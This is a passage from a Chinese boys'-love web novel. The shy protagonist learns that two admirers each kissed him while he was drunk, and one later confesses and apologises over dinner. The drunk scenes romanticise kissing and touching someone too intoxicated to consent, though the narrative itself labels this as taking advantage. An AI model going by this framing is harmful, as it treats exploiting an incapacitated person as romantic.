那会儿他们的心情应该跟自己现在一样。 【宿主怕什么?】 系统意外出声。 “我怕他打我。”温绒都快哭了。 【不至于吧,时野还在旁边。】 “我不想负责。” 他简直不敢再回想昨天晚上发生的事,也不敢想等会儿自己跟周谢说清楚时,周谢会是什么反应。 【……】 系统想,按道理来说应该是周谢对宿主负责,但自家宿主是个小直男,大概率还没找对自己的位置。 “你找他干什么?”时野警惕。 “上课。我爸让我帮他处理一些事情,后面几天要出去,趁现在有空。” 温绒闭上眼睛,想着早死早超生,明日复明日等一系列治疗拖延症的语录,绝望点头,“好的。” 时野应该是有话想说,但看了他一眼后犹豫了半秒,问:“上课的时候要不要吃点东西?我叫人送过来。” 温绒垂头,“不用了,谢谢。” 送走时野,温绒捏着两个拳头大口吸气,正想着要怎么开口,周谢伸手把鼠标挪到鼠标垫的正中间,又挪笔记本电脑,笔记本边沿跟桌线平行。 这一系列动作做完,才回头来说:“看了往期的采访视频有什么感想?” 温绒:“昨天晚上……” “别浪费时间,我问的是感想。”说完,周谢突然拔高声音,“你嘴怎么了?连根唇膏都买不起吗?” “啊?” 他不知道? 他不知道! 温绒眼睛瞪大,“你不知道吗?” “关我什么事。”周谢翻个白眼。 “不不不……”温绒激动得嗓子都在打颤,试探着说:“昨晚谢谢你送我回来。” “你该谢谢店里的服务员和时野家司机,主要他们扛的你。” “这样啊!” “?”周谢蹙眉,“这么激动干嘛?” “没……” “算了,我不感兴趣,你继续说感想。” 周谢只想赶紧结束课程回家做饭,他父亲好不容易有个晚上能回家吃饭,而且,他现在看见温绒就莫名来气。 不怪他,没有人会对发酒疯的人有好脾气。 “那你来。” 时间倒回昨晚,莫吉托在玻璃桌上轻轻滑出五六厘米,看温绒的架势,是真想让他喝。 但温绒突然伸手把杯子抓回去,猛吸一口,泛红的脸露出笑意,“才不给你,一百多一杯。” 周谢无语,给莱昂说:“他喝醉了?” “酒的分量应该很足,那么多客人,他家不敢往酒里面兑水。”莱昂伸手把温绒的莫吉托拿走,“不过也才一口,应该不至于醉。” “没……醉……” 温绒拖长声音回答,扶着桌子站起来,歪歪扭扭原地转个圈,谁都搞不懂他在干什么。 “他肯定醉了。”周谢下结论。 温绒浑身一定,又把莫吉托往周谢的方向一推,“那你来!” 这句话有些耳熟。 周谢还没来得及回想,温绒突然抓起杯子往嘴里倒。 这个动作,刚才似乎上演过一次。 周谢看温绒的眼神逐渐从“看烦人精”变成“看傻子”。 “啊——”傻子畅快吞完一口酒,用袖子大大咧咧擦嘴,扯开嗓门:“我要去打老虎!” “……” “……” “噗嗤”,周谢没有忍住,摸出手机打开相机对准温绒,莱昂伸手往镜头上一盖,“别拍。” 随即示意温绒,“温绒,下面要开始表演了。” 昏黄的灯光照不出温绒脸上的红晕,但他垂着脑袋,问一句“学长,你要尝一口吗?”,每个字音都拖得老长,俨然一副醉鬼的模样。 由此陷入鬼打墙。 有人耍酒疯时会哭,有人释放恶意,有人胆子变大,而温绒,展示出他骨子里的固执,一句话要问三遍,给他答案了他还要问。 周谢第一次见识到莱昂作为科研人员的耐心。 一杯莫吉托在温绒的反复下彻底见底,周谢正想问莱昂要不要回去,莱昂手机作响,来了通不得不接的电话。 关门声响,温绒猛一下来了精神,“学长,我发烧了,我想去医院。” “……”周谢:“你学长不在。” “学长,我发烧了,我想去医院。” 周谢怀疑温绒会一直问下去,有些烦躁地回答,“你没有。” 随后周谢用了七八种不同的方式来告诉温绒他没发烧。 但效果等于0。 最痛苦的是,莱昂还打了个电话过来说他现在必须要去研究基地的总院一趟,让自己带温绒回去。 周谢第一次产生抗拒情绪。 在静坐几分钟,调整好情绪后,周谢才起身拉温绒。 “学长你摸,我真的发烧了。” 在他摸到温绒之前,温绒忽然伸手抓向他的裤子,周谢眼疾手快到退一步,幸免于难。 温绒举着两只手发呆的样子有些可笑,眼睛大大的,像极了被抢走糖的小朋友。 “呵。” 周谢忍不住嘲笑,但下一秒,皮带发出“嘣”一声,下腹剧痛。 细密的麻痒随着指尖的靠近而清晰,周谢浑身一紧,“嘶——你干嘛?” “学长,你摸摸我的脑门,我真的发烧了。” “……” 这是摸吗?你他妈拿脑门撞哪呢! 周谢忙不迭伸手插!入温绒的脑袋跟自己裤子之间,强行抵着他的脑袋推远,摸手机叫服务员上来解决温绒。 “学长,那个歌好吵,不想听了。” 周谢冷笑,“你非要来。” “学长,我想去你家,我喜欢学长。” 周谢陡然一愣,手上用力,把温绒的脑袋都撑得仰起来。 “你喜欢莱昂?”他忍不住问。 “呵呵。”温绒傻笑,很用力撞了下周谢的手心,大声“嗯。” “我不是莱昂。” “我喜欢学长。” 周谢把手从脑门挪到温绒的脸颊边,掐着没多少肉的腮帮子,再一次重复,“我不是莱昂。” 温绒被迫撅着嘴,还在努力笑,“我喜欢学长。” “我不是莱昂。” “我喜欢学长。” “我不是莱昂。” …… 直到闲酌的服务员来,周谢才反应过来自己跟个醉鬼一起鬼打墙。 真蠢。 周谢松开温绒,让服务员把他扛上车,又给时野打电话,让时野找人在庄园大门口等着处理温绒这个醉鬼。 昨晚一定是近期他过得最烦的一夜,比得知温绒跑了还要烦。 “这样可以吗?” 很烦的声音从现实里进入耳朵。 周谢给司机发消息,随后道,“今天先这样,我要回家做饭。” “啊?你会做饭?” “没你的份。”周谢收手机,“走了,自己网上搜课程,不懂的黒鸽上问我。” “好的。” 书房里只剩下温绒一个人,静悄悄的,窗外有鸟,停在窗台上叽叽喳喳叫。 温绒无心享受。 不是周谢。 不是学长。 不是时野。 那是谁?! 温绒埋头倒在桌子上,某一瞬间,甚至以为自己昨晚只是做了个梦。 但唇上的伤口痛得很真实。 真的不能再喝酒了- 得知周谢已经乘车离开,时野迅速从王西杰手里逃脱回到二楼。 一进门,就看到温绒趴在桌子上,像在哭,顿时心虚。 心虚什么,莱昂都没承认! 时野暗戳戳站到门口,恨不得回到昨晚去打自己一拳头。 昨晚,时野训练结束,正好营养师也把巧克力做好,他想到巧克力上的牙印,就忍不住要立马拿给温绒,最好他再吃一半,留给自己一半。 太过兴奋,甚至都忘了温绒被他们带出去喝醉的事。 咚咚咚 咔擦—— 敲门和开门几乎同时发生。 时野压了压嘴角,“我给你带了巧克力,要不要吃?” 说完,才发现房间里面一片黑,温绒眯着眼睛,半边身体都靠在门上。 时野顿时一慌,“你睡了?我没有故意要吵醒你。” 话音刚落,趴在门上的温绒滋溜一下就滑到地上,吓得时野伸手去拉他,巧克力零零散散掉在脚边。 温绒很轻,其实一只手都能抱起来,但时野怕他身体不舒服,就缓慢地把他放到地上,想找医生过来看看他的情况。 “@%$%……” “什么?”时野隐隐听到声音,不过很模糊,没听清。 “@%$%……” “哪里不舒服?”时野着急跪在地上,俯下身侧耳凑近温绒的嘴边。 “学长……” 时野微微蹙眉,不开心。 为什么要想莱昂? “学长……” 时野不想再听了,确认温绒没有哪里痛,就准备把他挪回床上。 靠近的瞬间,温绒又嘟囔:“学长,我不想亲了,我要睡觉。” 时野一愣,怀疑自己听错了。 地上的温绒翻了个身,不舒服地又哼一声,“学长,不舒服。” 这两句话太过震撼,时野伸手一把将温绒拉起来,“你说什么?” 温绒瞬间抬手捂嘴。 这个动作做出来,就什么都不用说了。 艹! 时野立马掏出手机打给安保,在确认莱昂在温绒房间里呆了将近一个小时后,他颤着手挂断电话。 而后后知后觉,周谢好像过说,温绒在外面喝醉了。 艹! 艹! 莱昂竟然趁温绒喝醉对他做这种事。 “你跟莱昂还做了什么?”脱口而出后时野发觉不对,连忙改口,“不是,我没那个意思,我想问你……” “算了,跟一个站不稳的醉鬼有什么好说的。” 时野把温绒抱起来,又想到半小时前莱昂曾经在这个房间抱着温绒,无名火起,刻意抖了抖。 “唔……” 温绒发出不舒服的嘟囔,时野心情好点了。 但下一秒,温绒就跟条鱼似的挣扎起来,时野没防备,只来得及在温绒落地的时候扶住他。 啪—— 然后眼睛挨了一拳。 时野打过很长时间的拳击,这一下到没觉得痛,甚至还有些开心。 温绒以为我是莱昂,他揍我说明在揍莱昂,那温绒肯定不是自愿要给莱昂亲。 噗—— 时野埋头笑,脑袋又挨好几下。 但这么挨打着,时野恍然发现温绒贴着墙缩成了一团,像是怕极了。 时野意识到事情的严重性,不敢伸手过去,怕温绒更害怕,余光瞥见落在地上的巧克力,抓一颗来拆开包装袋,柔声问:“要不要吃巧克力。” 温绒意外地冷静下来,抬起脸,瞳孔却是散的,“学长……” 时野:“……” 又是莱昂。 美好幻想还没开心几秒就被打破了。 时野在竞争里有着职业的敏锐,他知道,自己已经落下一大截,很有可能输了。 但是不甘心。 不就是体贴,我也会。 时野把巧克力喂到温绒嘴边,继续掐着嗓子说:“吃一点。” 温绒果然彻底镇定下来,低一下头,但没有咬。 湿润温热的感觉从指尖一扫而过,时野猛然一愣,想到喂自家那只猫吃猫条。 傲娇的小东西只有这种时候才会粘人,急哄哄舔,舔不到了就用小牙咬。 那牙齿一点劲都没有,时野都怕它把牙磕破。 所以每次时野都忍不住主动挤出很多,让他家那只猫吃个爽快。 要多大的自制力才能继续“体贴”?时野现在满脑子都是冲动。 他把巧克力丢到旁边,捧起温绒的脸,嗓子里生出一团火,直冲向脑子:“我也想亲你。” “不亲。” 温绒迷迷糊糊但回答得坚决,还伸手推他,虽然根本没什么力气。 时野心头瞬间空落落的,可身体又舍不得放开。 他如温绒认识的那样,没什么控制情绪的能力,就算被拒绝,满脑子还都是欲望。 ——想亲。 接吻是什么感觉。 好想和温绒接吻。 “学长……”温绒喉咙里发出呜咽的声音,举起两只手软软捏时野的手腕。 “我是时野。” “学长,不亲……” “我是时野。” “学长,下次再亲好不好。” “……” 时野终于松开温绒,绝望地低下头,“温绒,我还要继续喜欢你吗?” “……” “我还能继续喜欢你吗?” “……” “不能只有我烦恼,你也要选择。你亲我,我就继续喜欢你,你不亲我,我就放弃。” “……” 沉默熬着时野。 静悄悄的,温绒好像睡着了,只剩时野自己一个人艰难。 在这样的时刻,时野想起自己亲妈。 其实他从未真正理解过她,一年前的他根本无法共情她口中的舍不得。 忍耐时常远忽冷忽热。 包容时常远从不回家。 卑微地期待时常远给她关心。 就算知道时常远外面有人,也仍然无法下定决心离开。 这些事,在很长一段时间里再想起来,都从对她的思念变成憎恨。 恨她为了个男人抛弃一切。 但这一刻,时野觉得自己变成了她。 一而再,再而三降低底线。 “改一下规则,你不亲我,我就继续喜欢你,你亲我,我就不继续喜欢你。” 这么绕,他一个醉鬼能听得懂吗? 时野自己都有些想笑,肩膀颤抖,唇边要溢出笑声。 笑声吞进温绒嘴里。 时野的心脏“轰”一下炸开,他开始怀疑这一切都是假的——温绒怎么可能主动亲我! 探出舌尖舔唇,想要确认。 抵上柔软湿润的舌时,时野浑身都燥热起来,脑子里只剩两个字“真的”。 温绒真的主动亲我。 莱昂肯定是强迫温绒,不然温绒不会一直嚎着“不亲”,我比莱昂有机会! 时野想到这些,又兴奋又愉悦,比拿了冠军……不,比从时家搬出来还要开心。 这一定是他这辈子最幸福的时刻。 他太激动了,把温绒抵在墙角,吻出动静,耳边全是响。温绒用鼻子哼出“嗯”地不满也不停,舔走流到下巴的唾液,张嘴咬上红肿的唇瓣。 ——温绒听到的规则肯定是第一版。 ——他要我继续喜欢他。 …… 黑白交替,场景变幻,昨晚发生的事很梦一样不再真实。 时野抬手捂住红透的脸,舔舐下唇,企图复刻昨晚亲吻温绒的感觉。 但越是这样,越失落。 越渴望。 想再亲亲他。 想在他清醒的时候亲亲他。 想每时每刻,都能亲他。 随即时野把手挪到头上,搓了搓刺手的板寸。 以后还能有什么机会? 他跟莱昂一样心知肚明,他们都无法承担坦白的后果。 第90章 第 90 章 你可以咬回来 王西杰:[在哪?赶紧回来] [马上决赛, 你别掉以轻心。] [把别墅让出去后,你就没有在乎的东西了吗?] [赵泽阳这次参加比赛的水平比去年高了几个档次,你给我认真点。] [他都把你以前的比赛视频研究透了。] 时野嗤笑。 看再多的视频有什么用, 那都是以前。 “啪啪啪啪” 书房里传来响声,时野暂时冷落王西杰,目光朝里面看。 温绒两只手从脸颊边离开,猛一下站起来,好像下定决心,深呼吸,嘟囔着“工作要紧”, 随后把手机架在桌子上,忽然握着只笔对着旁边空气。 温绒完全换了一副严肃姿态,露出礼貌的微笑:“非常精彩的比赛, 我想现在每个人都想问,时野你为什么参加网球公开赛呢。” “网上看到报名信息,顺手填了。”时野的声音回答。 门外的时野愣了下, 而后眼睛蓦然瞪大——怪不得耳熟,这是去年网球公开赛上记者说的话, 以及他的回答。 艹! 我去年压根没好好接受采访。 温绒看完视频会不会对我印象变差。 “唔……这里回答‘原来我们冠军跟网球命中注定’比较好?” 噗嗤 时野又在心里笑,如果真这么回答,那自己就会吐槽:“在哪学的土味情话”。 “还是不看时野的采访视频了,没有参考价值。”? 不是, 为什么不看我? 时野纠结,看他的视频可能印象会变差,但他又不想温绒看别人的视频。 好想冲进去点开所有采访视频让温绒看,但温绒的速度比他的决心快,迅速换了视频。 他端坐在电脑前, 先完整看一遍原视频,复述记者的问话,最后开手机摄像头把一整段流畅拍下来。 时野起先没明白温绒的用意,直到温绒的手机里传出刚才的声音。 他看完自己的视频,说“这里表情有点奇怪”,又说“一直举着话筒好难受,他们怎么都不会手抖?”,最后说“再来一遍”。 第二遍的效果光是听声音都比第一遍更好。 时野想起校庆时温绒站在讲台上一副熟练从容的样子,跟平时大不相同。 现在再回忆起来,才意识到他私底下做了这么笨的练习。 ——他一定练习了很久。 时野浑身的血被带得烧起来。 不行,我也要练习,不能让温绒的努力成果落在赵泽阳头上。 时野最后再悄悄看温绒一眼,下定决心转身回到网球场。 至于昨晚的事,等温绒开心的时候再说- 太阳悄悄落下,留下一片火红晚霞。 温绒打开灯,滚动鼠标,确认几个视频都模仿完,结束一天的学习。 最后,他打开黒鸽,回复新闻社群里的消息,又打开邮箱,看到来自HR小姐姐的邮件。 附件里放着合同模板,让他看看有没有问题,没问题明早去公司签合同。 温绒把合同下载下来,自己先看一遍,自我感觉没问题后发送给莱昂学长。 本以为不会很快得到回复,温绒看一眼蓝书,把所有未读清空,后又收拾东西,计划着趁天还没黑去玉兰树下看花,结果一切软件,黒鸽里收到了回复。 [忙完了吗?晚上想带你到学长最喜欢的店吃饭。] 莱昂说的店在研究中心总院旁边。 温绒怕莱昂来回跑麻烦,要了地址,自己打车过去。 半小时车程,因为靠近研究中心总院的人流量大,禁止汽车通行,温绒在路边便下车。 此时天边晚霞彻底消散,天地陷入黑暗,而研究中心灯影缤纷。 蓝书上的攻略说过,研究中心也是来1区必须打卡的景点。 这边更像个巨大的游乐园,禁车的起始路段建设得像公园大门,宽阔广场连着大道,两边种着笔直的绿树。 往里走,绿树变成樱花,成片的白,吸引不少游客站在树下拍照。 温绒举起手机,镜头无意间扫到天空中的一抹坠落的光。 他把视线从手机上挪开,看见光下有一片浅浅的湖,水声潺潺。 这就是攻略上说的水幕喷泉了。 喷泉旁边,有一列长长的队伍,很多情侣,男生帮女生拍摄以喷泉为背景的照片。 温绒难免生出好奇,顺着队伍往前走,大概十来分钟,终于在队伍尽头看见缘由——失重体验馆。 门口的标识写着“最大”、“最早”等字样,温绒对1区的繁华有了些概念。 作为全联邦中心,外面有的1区肯定也有,而且比外面的更好。 正想摸手机搜搜这里还有什么其他的项目,等公开赛结束来逛一逛,手肘突然被撞,手机吧嗒脱落。 “你神经病吧,谁交了女朋友还跟其他女的出去吃饭。” 吵吵嚷嚷的声音比“手机摔了”还要吸引温绒的注意力。 温绒怀疑自己被林启正学长感染了,对八卦意外有兴趣。 周围所有人也一样,目光炯炯看向吵架的男女。 被吼的男生意识到周围目光,尴尬解释,“就是白天吃顿饭,我这不是给你报备了吗?” “我不准!” “我跟她是单纯的朋友关系。” “你要是跟她出去吃饭,那就别来找我了。” 温绒迷迷糊糊得到信息,这是一对情侣,因为男方要跟异性朋友出去吃饭,女方非常生气。 温绒蹲下捡起手机。 运气很好,这只老人机没有摔坏。 “手机拿来,把她删了。” “你干嘛,我跟她真的只是普通朋友。” “普通朋友也不行。” “你能不能成熟点。” “我不管,跟我谈恋爱还和异性联系你就是出轨。” “你连我的正常社交也要管吗?你还不是有一些男性朋友,你把他们全删了啊。” “删就删,谁不删谁是狗。” 情侣还在吵,温绒的思绪飞到了其他地方。 “哥哥,谈了恋爱就不能跟异性朋友单独吃饭了吗?” 【理论上来说需要避嫌。】 温绒往前走几步,情侣吵得更厉害了,甚至队伍都不排了,女生当场给男生提分手。 温绒忍不住问:“那……同性呢?” 【嗯?】 “如果是两个男的谈恋爱,同理,是不是就不能跟其他男生出去玩了。” 【这个……】 这个问题怎么听起来怪怪的? 滋—— 温绒手机一震,莱昂学长给他打来了电话。 走远了,那对情侣的声音也远了,温绒终于走到莱昂学长说的店。 意外的是,这里人并不多。 温绒看见路边的莱昂学长,所有的思考暂时都抛到脑后,忍不住跳起来挥手,踮着脚尖冲过去。 “好厉害,这边路很复杂,我还以为你会迷路。” 温绒听学长说话就很开心,乐滋滋耸肩,有些骄傲,“我看着地标过来的。” “一路过来有看到什么好玩的没?” “嗯嗯!我看见那个喷泉了,还有失重体验馆,好多好多人排队呀。” “最近有火箭发射,关于太空的一些东西都比较火爆。走吧,今天带你尝尝我小时候最喜欢的味道。” 这是一家仿古餐厅,服务员的穿着跟张锦程以前的设计很像,古制的。 走进雕花大门,大厅里的摆饰跟其他饭店不太一样,正中间有个巨大的台子,像极了时野的拳击场,只是没有那些绳子拦在边上。 一束光从天而降,照着台上绣工精致的牡丹碎花毯子。 服务员带两人上楼,坐在靠近围栏的位置,温绒再低头看台子,已经有穿着古制服装的人走上台。 打扮很是艳丽,头发盘得高高的,戴着花,橙色的绣花裙,肘间缠着一块红色的缎子。 女孩两手叠在胸前,俯身做个“请安”的动作。随着“铛”地一声,音乐声起,红色的缎子便转起来。 女孩身姿轻盈柔美,在牡丹花上跳起舞。 “哇!” 莱昂给温绒杯子里倒水,“好看吗?” “好看。” “要不要尝尝学长特地给你拿的水果提取汁?” 温绒终于把视线收回,“什么汁?” 莱昂从包里拿出一罐蓝色的瓶子拧开递给温绒,“研究人员弄的纯蓝莓提取汁,尝尝。” 温绒小小尝一口,酸酸甜甜,味道很不错。 “味道好棒。” “嗯,据说这东西有助于舒缓情绪。”莱昂又从包里摸出一盒东西递给温绒,“这个是他们弄的糖,能提高多巴胺分泌效率,吃一点。” 温绒把蓝莓汁放到旁边,“学长,你是不是有事要跟我说?” 莱昂一愣,微讶,“真聪明,现在连这种事都能看出来了。” 温绒也惊讶,不知道自己为什么就看出来了。 莱昂埋头笑一声,“也可能是我做得太明显。” 温绒慌张摇头,仔细去找自己看出来的原因,“没有没有,我是……我是……” “我看学长的眉毛一直皱着,微表情课程说这种表情的意思是有烦恼。” “学长是有一些烦恼。” 温绒立马端正坐姿,脸上慌张都没了,俨然一副“我来帮你解决”的姿态,“学长可以跟我说,如果我有什么能帮到你的地方,我肯定帮。” 莱昂忍不住笑,不知道该庆幸温绒愿意为自己冲锋陷阵还是该难过温绒太喜欢冲锋陷阵,好像不把自己的安全当回事。 “这件事不需要你帮我。” “那……” 这就让温绒有些为难了,他不太会安慰人,不知道该说点什么来让学长开心。 “你觉得学长是什么样的人?” “学长是特别好的人。”温绒毫不犹豫回答。 “有多好?” “……”温绒卡了下,“这个……” 莱昂又问:“你知道学长有什么缺点吗?” “学长没有缺点。” “噗嗤”莱昂侧头又笑一声,“学长其实有很多缺点,只是在你面前假装很完美。” “……” 莱昂瞥一眼楼下,一舞结束,换了个穿着素雅的舞者上台。 琴声传来,声音悠扬,混着萧声,像两条蛇一样纠缠。 或许是乐器的原因,琴箫本身带着肃穆之感。 莱昂此时心境混乱,尤其敏感,听到这样的声音并不舒服,蓦然起身,“温绒,过来。” 莱昂带温绒走到阳台上,夜里的风夹着阳光的余温,温绒的t恤都被烘起来。 莱昂示意他闭眼,往手机里发了个消息,去包里摸出早就准备好的烟花棒。 “可以了。” 温绒睁开眼瞬间,在他面前点燃。 浅浅的眸子倒影两束光点,沉默伴随着丝丝缕缕的火花。 一支烟花棒很快燃到头,温绒迟钝道,“学长,好好看。” “砰——” 远处响起一声尖啸,砰地一声,烂漫的色彩铺盖天地,温绒的脸被照亮。 温绒微微偏头,烟花倒影在黑框眼镜片上。 所有听到动静的人都走到阳台来,囔着“好好看”“没通知今晚放烟花呀”“不管了,我要拍照。”…… 热热闹闹。 烟花不停,在空气里留下云一样的白烟。 直到最后一道彩光在温绒脸上扫过,陷入短暂静默。 “没了?” “没了吧。” “不过这次烟花好好看。” “不过没到节假日啊,为什么放?” “可能哪个富佬给喜欢的人求婚吧。” 其他人一边往回走一边讨论着。 莱昂视线微垂,从温绒的眼睛挪到唇上的伤口,轻轻出声:“好看吗?” 温绒还意犹未尽望着远处的天空,肯定点头,“好看。” 顿了下,“是学长安排的吗?” “越来越聪明了,这都知道。” “因为学长叫我过来,还给我看烟花棒。”温绒伸手拿过他手里燃烬的烟花棒,在指尖轻轻地搓,“真的很漂亮。” “嗯,我猜你会喜欢。” 温绒紧接着问:“学长是有话想说吗?” “你……”莱昂愣了下,又释然,“我忘了,你现在已经能看出来。” “今晚学长很不一样。” 莱昂微笑,“因为学长也才21岁,第一次冒犯到喜欢的人,会怯懦。” 轮到温绒愣住。 莱昂有那么一刻感到庆幸,温绒不再是会说“那我不结婚”的小笨蛋,已经是个听得懂言下之意的小聪明。 于是更加坦然:“学长昨晚想了一夜,本来准备早上就跟你坦白,但见到你的时候,又好像还没准备好承认的勇气,所以撒了谎。” “温绒,昨晚跟你接吻的人是我,对不起。” 温绒哑然。 莱昂解释,“周谢说你喝醉了,我想到喝醉的人容易被呕吐物噎死,所以把研究中心的事情解决后就到你房间找你。” “……谢、谢谢学长。” “当时你吵着要洗漱才肯睡觉,我就带你去卫生间洗——” 卡壳的温绒突然开口截断他:“我原谅你了。” “……” “我真的原谅你了。” “……” “真的。” 莱昂察觉到什么,抿唇意味深长问,“就这样轻易原谅学长了吗?” 温绒环顾四周躲避他的视线,“嗯……嗯。” 莱昂了然,“进去吧,菜应该上了。” 莱昂跟在温绒身后回餐桌。 “客人,这是椒麻小象。” 正好服务员过来上菜,温绒慌张跟人家道谢,拿起筷子夹一块塞嘴里假装很忙。 只是服务员一走,这里又成了只剩两人的安静地带,温绒浑身都写着不自在。 莱昂看在眼里,缓慢开口,“温绒,这是象拔蚌,里面有些蒜和醋,晚上回去记得好好刷牙。” 温绒没看他,胡乱嗯嗯点头。 “一定要刷舌尖,你的刷牙习惯很不好,不刷舌尖。” “嗯嗯。”继续胡乱点头。 只是某一瞬,筷子一抖,温绒猛然抬头 莱昂含着笑回望,哗啦啦的水声夹杂着震动声从昨夜来到此刻。 狭小的空间里声音四处乱撞,温绒捂住半边耳朵刷牙,电动牙刷头难以控制,戳得腮帮子通红。 莱昂端详着镜子里似睡未睡的脸,时刻准备着接住睡死的温绒。 一秒 嗡嗡嗡 两秒 嗡嗡嗡 …… 时间过得很慢,莱昂也不知道过了多久,终于发现不对劲,提醒温绒:“温绒,不要一直只刷左边,还有右边。” 温绒顿了下,把牙刷头换到左边。 这样的动作继续维持将近一分钟,莱昂庆幸喝醉的温绒挤牙膏的时候没成功把牙膏挤在牙刷上,不然他真可能是吃牙膏中毒第一人。 莱昂继续提醒:“温绒,你还没刷舌头。” 温绒这次没有听话,而是动作一顿,本能摇头,小声嘀咕:“不刷舌头。” “为什么?” “恶心。” 莱昂了然,不过还是劝:“电动牙刷不会恶心。” 温绒继续摇头:“不刷舌头。” 在酒吧见识过温绒的固执,莱昂知道再这么说下去只会陷入死循环,于是主动抓起牙刷凑到温绒嘴边先斩后奏,“试一试,来,舌头。” 温绒果然张开嘴。 但迟钝的脑子好像才反应过来应该拒绝,嘴巴一合,唇缝上夹着小截长度不足一厘米舌尖。 莱昂被他逗笑,“舌头再伸出来点。” 温绒不情不愿又吐出点舌头,莱昂没办法,将就着把刷头点在舌尖。 他距离温绒很近,本意只是想让温绒好好刷牙,但猝不及防看见温绒骤然睁大的眼睛,好像发现新大陆一样惊奇。 莱昂用刷头轻轻刮一下后放开,提醒他:“簌口。” 温绒不动,反而张开嘴,舌头全部吐出来,“要刷舌头。” 莱昂:“……” 温绒嘴巴不闭,鼻子哼着声音:“啊哈和哈(要刷舌头)。” 莱昂被逗笑。 “啊哈和哈。” “知道了知道了。” 他想,一定不能温绒在别人面前喝酒,不然这样缠人的小孩谁都会忍不住喜欢。 “啊哈和哈。” “知——” 话没说完,温绒急切凑近,仰起脖子,下巴几乎贴着他的胸口。 湿粉的舌尖凑在眼前,向上一勾。 漂亮脸蛋上,上下眼睫纠缠,盖着迷蒙的眸,眸子边全是酒后晕染的粉,鼻尖也是粉的。 智能手表震动出声,滴滴滴提示心跳异常。 另一只手上,电动牙刷震得手麻。 莱昂心猿意马。 从研究中心出来后还没回过“秘密基地”,被压抑的欲望没有释放。 “学长可以亲你吗?” 卫生间静得可怕,莱昂清晰听见自己的声音,自己都吓一跳。 这个念头没有经过脑子便说了出来。 温绒却不负责地扭头往嘴里倒一口水,咕噜咕噜,水稀里哗啦落进洗手池里。 莱昂虽然很想,但也不是趁人之危的人,极强的自制力迫使他看向手表转移注意力。 刚才的心跳来到160,几乎是跑步才会这样剧烈。 回去该好好洗个澡。 “学长。” 温绒陡然喊他,莱昂平静问,“怎么。” “学长,我发烧了,不信你摸。” 莱昂知道,温绒还在醉。 于是弯弯嘴角,掩盖住悸动的心,把温绒拉回床边。 “睡一觉就好了,睡醒来就不生病了。” 盖好被子,莱昂想真的要赶紧回去洗澡了,手又被拉住。 “学长,我发烧了,不信你摸。” 莱昂不得不顺着他,伸手去摸他的额头,“发烧了?” 确实有些热,但更热的是脸颊。 温绒很瘦,皮相和骨相却融合得很好,不像周谢,骨头撑着皮囊。 莱昂觉得自己被蛊惑了,手落在这样漂亮的脸上,任谁忍不住想要把玩。 可是这样是不好的。 莱昂缩回手,“乖,睡一觉就好了,闭上眼睛。” 温绒闭上眼睛,却吐出小半截舌头,“学长可以亲。” 莱昂陡然一愣,而后反应过来温绒醉酒后反应迟钝,现在才回答他刚才的话。 ——可以亲 莱昂敢保证,醉酒的温绒甚至都不知道亲是什么意思。 他浑身燥起来,终于忍不住弯下腰,捧起温绒的脸,鼻子一点一点凑近额头。 他吻到温绒的粉透的鼻尖。 其实更想往下一些,去尝一尝自己刚刷过的舌尖,但莱昂还保持着理智,自己在趁人之危,这样做并不尊重温绒。 他克制着。 跟温绒的呼吸纠缠着。 品尝曾窜入温绒身体里的空气。 或许这样,再过几秒就可以结束。 然而唇瓣骤然被轻轻一抵,细挺的鼻梁靠上来,生涩地贴着他的鼻尖摩擦。 智能手表再次发出心率过高的警报。 莱昂僵住无法动弹,一时间分不清是自己醉了,还是温绒醉了。 这样的动作里,皮肉紧密地贴合,互相撕扯,热量一阵一阵爆发。 分开的唇瓣泄出牙膏的薄荷味,流连在莱昂的唇角。 莱昂由着温绒,缓慢闭上眼。 突然,这样的体会骤然消失,温绒两只手用力拍脸,嘟囔“不可以放纵”。 ——放纵 莱昂被这个词砸到晕眩。 这证明,温绒也有欲望。这场厮磨不是他的独角戏。 “温绒,你发烧了吗?” 温绒果然停下拍脸,伸手来抓他,“学长,我发烧了,不信你摸。” 莱昂不动,但回应他,“是有点烫。” “我要喝水,喝水就不会把脑子烧坏。” “那你坐好。” “坐好?” 温绒疑惑地重复,过几秒,好像脑子终于分析出坐好是什么意思,瞬间从床上坐起来。 莱昂想要真的亲吻温绒,临近的一刻,温绒迟缓地出声:“学长,我坐好了,你要躺好。” 莱昂心脏重重一跳。 “视频里,要躺好。”说完,温绒歪头,紧紧皱眉,想是在思考,“要这样,才可以亲。” 莱昂最后一点自制力消失殆尽,他想,这个时候无论是谁都无法拒绝温绒。 幸好这个时候是他在温绒身边。 莱昂吞咽唾液,憋着一口气抑制住狂跳的心脏,悠悠询问:“允许学长躺在你的床上吗?” “嗯。”毫不犹豫。 莱昂听从安排在温绒旁边坐下,向后倒,“然后呢,你该怎么做。” “唔……” 温绒思考了两秒,膝盖跪上床,在莱昂身侧压出两处凹陷。 莱昂浑身颤栗,感受到温绒的重量——他那么瘦,骨头架子竟然很重,压得自己喘不过气。 莱昂觉得自己已经接近高!潮,直到腰腹感觉到手指的力量,猛然一惊,迅速抓紧温绒的手,“不可以乱摸。” 温绒垂眸。 隔着夜色,迷蒙的眼睛也变得柔情,垂望情人,带着浓郁的溺爱,好像“不乱摸”成了一种赏赐。 “但可以靠上来。” 莱昂蛊惑他,“累不累,要不要靠着学长。” 温绒不动。 莱昂脑子转得快,换了个说法:“求你靠靠学长。” 温绒这才俯下身贴紧莱昂的胸膛。 莱昂觉得温绒这样可爱死了,彻底沦陷成一个坏人,后脑勺拱着被子仰头,“张嘴喝水。” “嗯。” “……温绒,求你张嘴。” “啊——” 他吸走温绒嘴里的空气。 这是从未有过的体验,即使在秘密基地里看过再多的碟片,也不如这一刻心潮澎湃。 温绒应该也是第一次,他都吓醒了。 温绒挣扎,床垫震荡,莱昂的身体也在荡,紧紧抓着他的手臂,胸口不受控制撞着。 “唔……学……长……” 莱昂抽出舌尖的同时大口吸气,“坐在学长身上的时候不可以这样动。” “不要了。” 表盘仍然在震动,一切还没结束。 …… 这一夜的温绒是属于他的。 莱昂离开房间时天真地想。 但是—— 他看见温绒唇上有伤口,那不是他留下的。 莱昂的视线再次看向的唇,猛然想到,或许正是因为这个伤口他早上才没能承认。 那一刻,他生出错觉,昨晚真的不是他。 “温绒。”莱昂徐缓出声。 对面的温绒大概终于想起昨晚发生过什么,头几乎要埋到桌子上,露出的耳朵满是绯红。 “温绒。”莱昂坚持喊他。 “……” “温绒。” 温绒不得不回应,“嗯……嗯,学长,我、我听着。” “你的嘴是我咬的。”莱昂把这个不属于他的罪责认下。 “你可以咬回来。”【你现在阅读的是 】 